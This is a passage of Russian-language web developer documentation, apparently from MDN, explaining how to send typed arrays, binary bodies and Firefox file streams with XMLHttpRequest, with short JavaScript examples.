Отправка типизированных массивов как бинарных данных
----------------------------------------------------

Точно так же можно отправлять типизированные массивы JavaScript.

```js
var myArray = new ArrayBuffer(512);
var longInt8View = new Uint8Array(myArray);

for (var i = 0; i < longInt8View.length; i++) {
  longInt8View[i] = i % 255;
}

var xhr = new XMLHttpRequest();
xhr.open("POST", url, false);
xhr.send(myArray);
```

Здесь создаётся и отправляется 512-ти байтовый массив из 8-битных целых чисел, н, разумеется, можно использовать любые двоичные данные.

**Примечание:** Поддержка передачи объектов `ArrayBuffer` (en-US) с помощью XMLHttpRequest появилась в Gecko 9.0. **Add information about other browsers' support here.**

Отправка форм и загрузка файлов
-------------------------------

См. этот параграф (en-US).

Примеры для Firefox
-------------------

В этом примере двоичные данные передаются асинхронно методом `POST` и нестандартным методом Firefox's `sendAsBinary()`.

```js
var req = new XMLHttpRequest();
req.open("POST", url, true);
// установите заголовок и тип данных
req.setRequestHeader("Content-Length", 741);
req.sendAsBinary(aBody);
```

В строке 4 заголовок Content-Length устанавливается в 741, что означает, что размер данных 741 байт. Разумеется, это значение должно соответствовать реальному размеру данных.

В строке 5 метод `sendAsBinary()` начинает запрос.

**Примечание:** Нестандартный метод `sendAsBinary` начиная с Gecko 31 считается устаревшим и скоро будет удалён. Вместо него, как показывалось выше, можно использовать стандартный метод `send(Blob data)`.

Кроме того, чтобы отправить бинарные данные можно передать экземпляр `nsIFileInputStream` в метод `send()` (en-US). В этом случае заголовок `Content-Length` заполнять явно необязательно, поскольку информация получается из потока автоматически:

```js
// Создание потока из файла.
var stream = Components.classes[
  "@mozilla.org/network/file-input-stream;1"
].createInstance(Components.interfaces.nsIFileInputStream);
stream.init(file, 0x04 | 0x08, 0644, 0x04); // file is an nsIFile instance

// Попытка опредедения типа MIME для файла
var mimeType = "text/plain";
try {
  var mimeService = Components.classes["@mozilla.org/mime;1"].getService(
    Components.interfaces.nsIMIMEService,
  );
  mimeType = mimeService.getTypeFromFile(file); // file is an nsIFile instance
} catch (oEvent) {
  /\* в случае ошибки просто использовать text/plain \*/
}

// Отправка
var req = Components.classes[
  "@mozilla.org/xmlextras/xmlhttprequest;1"
].createInstance(Components.interfaces.nsIXMLHttpRequest);
req.open("PUT", url, false); /\* синхронный вызов! \*/
req.setRequestHeader("Content-Type", mimeType);
req.send(stream);
```